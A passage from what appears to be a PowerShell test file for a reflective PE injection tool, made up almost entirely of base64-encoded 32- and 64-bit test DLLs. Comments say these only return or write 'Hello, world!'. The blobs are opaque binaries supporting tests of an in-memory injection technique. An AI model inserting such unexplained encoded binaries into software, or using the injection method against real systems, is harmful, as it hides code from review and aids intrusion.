AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness DLL that simply returns "Hello, world!" upon having StringFunc called + $Encoded64BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness DLL that simply writes "Hello, world!" to %TEMP%\testoutput.txt upon having VoidFunc called + $Encoded64BitVoidDll = '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' + $Encoded32BitVoidDll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABxqgfBNctpkjXLaZI1y2mSPLP6kjbLaZI1y2iSM8tpkheyjZI0y2mSF7K1kjTLaZIXsreSNMtpklJpY2g1y2mSAAAAAAAAAABQRQAATAEDAO58PlYAAAAAAAAAAOAAAiELAQwAAAIAAAAEAAAAAAAAABAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABAAAAABAAA4GcAAAEAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAABgIAAAXQAAAMAgAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA5gAAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAHwBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAoAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA